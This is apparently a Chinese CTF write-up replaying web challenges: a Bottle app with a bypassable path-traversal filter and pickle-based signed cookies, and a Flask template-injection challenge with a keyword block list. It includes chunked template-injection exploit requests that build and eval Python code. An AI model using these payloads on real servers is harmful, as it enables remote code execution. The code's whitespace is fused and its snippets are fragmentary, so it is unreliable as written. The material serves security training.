# -*- encoding: utf-8 -*- ''' @File : main.py @Time : 2025/03/28 22:20:49 @Author : LamentXU ''' ''' flag in /flag_{uuid4} ''' from bottle import Bottle, request, response, redirect, static_file, run, route withopen('../../secret.txt', 'r') as f: secret = f.read()
app = Bottle() @route('/') defindex(): return'''HI''' @route('/download') defdownload(): name = request.query.filename if'../../'in name or name.startswith('/') or name.startswith('../') or'\\'in name: response.status = 403 return'Forbidden' withopen(name, 'rb') as f: data = f.read() return data
@route('/secret') defsecret_page(): try: session = request.get_cookie("name", secret=secret) ifnot session or session["name"] == "guest": session = {"name": "guest"} response.set_cookie("name", session, secret=secret) return'Forbidden!' if session["name"] == "admin": return'The secret has been deleted!' except: return"Error!" run(host='0.0.0.0', port=8080, debug=False)
withopen('../../secret.txt', 'r') as f: secret = f.read()
也给出了下载文件的路由
1 2 3 4 5 6 7 8 9
@route('/download') defdownload(): name = request.query.filename if'../../'in name or name.startswith('/') or name.startswith('../') or'\\'in name: response.status = 403 return'Forbidden' withopen(name, 'rb') as f: data = f.read() return data
defget_cookie(self, key, default=None, secret=None, digestmod=hashlib.sha256): """ Return the content of a cookie. To read a `Signed Cookie`, the `secret` must match the one used to create the cookie (see :meth:`BaseResponse.set_cookie`). If anything goes wrong (missing cookie or wrong signature), return a default value. """ value = self.cookies.get(key) if secret: # See BaseResponse.set_cookie for details on signed cookies. if value and value.startswith('!') and'?'in value: sig, msg = map(tob, value[1:].split('?', 1)) hash = hmac.new(tob(secret), msg, digestmod=digestmod).digest() if _lscmp(sig, base64.b64encode(hash)): dst = pickle.loads(base64.b64decode(msg)) if dst and dst[0] == key: return dst[1] return default return value or default
if secret: # See BaseResponse.set_cookie for details on signed cookies. if value and value.startswith('!') and'?'in value: sig, msg = map(tob, value[1:].split('?', 1)) hash = hmac.new(tob(secret), msg, digestmod=digestmod).digest() if _lscmp(sig, base64.b64encode(hash)): dst = pickle.loads(base64.b64decode(msg)) if dst and dst[0] == key: return dst[1] return default return value or default
defset_cookie(self, name, value, secret=None, digestmod=hashlib.sha256, **options): """ Create a new cookie or replace an old one. If the `secret` parameter is set, create a `Signed Cookie` (described below). :param name: the name of the cookie. :param value: the value of the cookie. :param secret: a signature key required for signed cookies. Additionally, this method accepts all RFC 2109 attributes that are supported by :class:`cookie.Morsel`, including: :param maxage: maximum age in seconds. (default: None) :param expires: a datetime object or UNIX timestamp. (default: None) :param domain: the domain that is allowed to read the cookie. (default: current domain) :param path: limits the cookie to a given path (default: current path) :param secure: limit the cookie to HTTPS connections (default: off). :param httponly: prevents client-side javascript to read this cookie (default: off, requires Python 2.6 or newer). :param samesite: Control or disable third-party use for this cookie. Possible values: `lax`, `strict` or `none` (default). If neither `expires` nor `maxage` is set (default), the cookie will expire at the end of the browser session (as soon as the browser window is closed). Signed cookies may store any pickle-able object and are cryptographically signed to prevent manipulation. Keep in mind that cookies are limited to 4kb in most browsers. Warning: Pickle is a potentially dangerous format. If an attacker gains access to the secret key, he could forge cookies that execute code on server side if unpickled. Using pickle is discouraged and support for it will be removed in later versions of bottle. Warning: Signed cookies are not encrypted (the client can still see the content) and not copy-protected (the client can restore an old cookie). The main intention is to make pickling and unpickling save, not to store secret information at client side. """ ifnotself._cookies: self._cookies = SimpleCookie()
# Monkey-patch Cookie lib to support 'SameSite' parameter # https://tools.ietf.org/html/draft-west-first-party-cookies-07#section-4.1 if py < (3, 8, 0): Morsel._reserved.setdefault('samesite', 'SameSite')
if secret: ifnotisinstance(value, basestring): depr(0, 13, "Pickling of arbitrary objects into cookies is " "deprecated.", "Only store strings in cookies. " "JSON strings are fine, too.") encoded = base64.b64encode(pickle.dumps([name, value], -1)) sig = base64.b64encode(hmac.new(tob(secret), encoded, digestmod=digestmod).digest()) value = touni(tob('!') + sig + tob('?') + encoded) elifnotisinstance(value, basestring): raise TypeError('Secret key required for non-string cookies.')
# Cookie size plus options must not exceed 4kb. iflen(name) + len(value) > 3800: raise ValueError('Content does not fit into a cookie.')
self._cookies[name] = value
for key, value in options.items(): if key in ('max_age', 'maxage'): # 'maxage' variant added in 0.13 key = 'max-age' ifisinstance(value, timedelta): value = value.seconds + value.days * 24 * 3600 if key == 'expires': value = http_date(value) if key in ('same_site', 'samesite'): # 'samesite' variant added in 0.13 key, value = 'samesite', (value or"none").lower() if value notin ('lax', 'strict', 'none'): raise CookieError("Invalid value for SameSite") if key in ('secure', 'httponly') andnot value: continue self._cookies[name][key] = value
p = [payload[i:i+3] for i inrange(0,len(payload),3)] flag = True for i in p: if flag: tmp = f'\n%import os;os.a="{i}"' flag = False else: tmp = f'\n%import os;os.a+="{i}"' r = requests.get(url,params={"payload":tmp})
r = requests.get(url,params={"payload":"\n%import os;eval(os.a)"}) r = requests.get(url,params={"payload":"\n%include('123')"}).text print(r)
list=[payload[i:i+3] for i inrange(0,len(payload),3)]
flag=True
for i inlist: if flag: tmp=f'\n%import os;os.a="{i}"' flag=False else: tmp=f'\n%import os;os.a+="{i}"' context=requests.get(url,params={"payload":tmp})
# YOU FOUND ME ;) # -*- encoding: utf-8 -*- ''' @File : src.py @Time : 2025/03/29 01:10:37 @Author : LamentXU ''' import flask import sys enable_hook = False counter = 0 defaudit_checker(event,args): global counter if enable_hook: if event in ["exec", "compile"]: counter += 1 if counter > 4: raise RuntimeError(event)
lock_within = [ "debug", "form", "args", "values", "headers", "json", "stream", "environ", "files", "method", "cookies", "application", 'data', 'url' ,'\'', '"', "getattr", "_", "{{", "}}", "[", "]", "\\", "/","self", "lipsum", "cycler", "joiner", "namespace", "init", "dir", "join", "decode", "batch", "first", "last" , " ","dict","list","g.", "os", "subprocess", "g|a", "GLOBALS", "lower", "upper", "BUILTINS", "select", "WHOAMI", "path", "os", "popen", "cat", "nl", "app", "setattr", "translate", "sort", "base64", "encode", "\\u", "pop", "referer", "The closer you see, the lesser you find."] # I hate all these. app = flask.Flask(__name__) @app.route('/') defindex(): return'try /H3dden_route' @app.route('/H3dden_route') defr3al_ins1de_th0ught(): global enable_hook, counter name = flask.request.args.get('My_ins1de_w0r1d') if name: try: if name.startswith("Follow-your-heart-"): for i in lock_within: if i in name: return'NOPE.' enable_hook = True a = flask.render_template_string('{#'+f'{name}'+'#}') enable_hook = False counter = 0 return a else: return'My inside world is always hidden.' except RuntimeError as e: counter = 0 return'NO.' except Exception as e: return'Error' else: return'Welcome to Hidden_route!'
if __name__ == '__main__': import os try: import _posixsubprocess del _posixsubprocess.fork_exec except: pass import subprocess del os.popen del os.system del subprocess.Popen del subprocess.call del subprocess.run del subprocess.check_output del subprocess.getoutput del subprocess.check_call del subprocess.getstatusoutput del subprocess.PIPE del subprocess.STDOUT del subprocess.CalledProcessError del subprocess.TimeoutExpired del subprocess.SubprocessError sys.addaudithook(audit_checker) app.run(debug=False, host='0.0.0.0', port=5000)
经过这次复现,学到了挺多之前没见过的思路和姿势(Now you see me那两题收获巨大),接下来把之前的坑填完之后就要去学习Java安全和渗透测试了,还有就是会接触src业务相关方面的内容(经济水平导致的我得找一个能赚点生活费的法子,不然明年都没钱续vps),差不多就这样,我也在恩师拉蒙特徐的指导下出了一道题,要是没出岔子的话,在不久的将来就会与大家见面,拜拜xdm!